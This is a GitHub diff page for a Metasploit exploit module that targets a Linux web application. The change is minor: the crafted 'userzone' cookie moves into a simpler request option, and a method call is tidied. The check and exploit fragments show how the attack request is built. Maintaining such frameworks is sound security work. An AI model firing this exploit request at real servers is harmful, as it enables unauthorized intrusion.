File tree Expand file tree Collapse file tree 1 file changed +3
-7
lines changed
modules/exploits/linux/http Expand file tree Collapse file tree 1 file changed +3
-7
lines changed Original file line number Diff line number Diff line change @@ -79,17 +79,15 @@ def check
79
79
'list_type' => '15' ,
80
80
'entry_id' => entry_id
81
81
} ,
82
- 'headers' => {
83
- 'Cookie' => "userzone=#{ encoded } #{ hash } "
84
- }
82
+ 'cookie' => "userzone=#{ encoded } #{ hash } "
85
83
)
86
84
87
85
if res and res . redirect?
88
86
print_error ( "Got a redirect, maybe you are not using https? #{ res . headers [ 'Location' ] } " )
89
87
Exploit ::CheckCode ::Safe
90
88
elsif res && res . body . include? ( r )
91
89
Exploit ::CheckCode ::Vulnerable
92
- elsif not self . check_entryid ( )
90
+ elsif not check_entryid
93
91
print_error ( "Invalid ENTRYID" )
94
92
Exploit ::CheckCode ::Safe
95
93
else
@@ -135,9 +133,7 @@ def exploit
135
133
'list_type' => '15' ,
136
134
'entry_id' => entry_id
137
135
} ,
138
- 'headers' => {
139
- 'Cookie' => "userzone=#{ encoded } #{ hash } "
140
- }
136
+ 'cookie' => "userzone=#{ encoded } #{ hash } "
141
137
)
142
138
143
139
if res and res . redirect?
You can’t perform that action at this time.
0 commit comments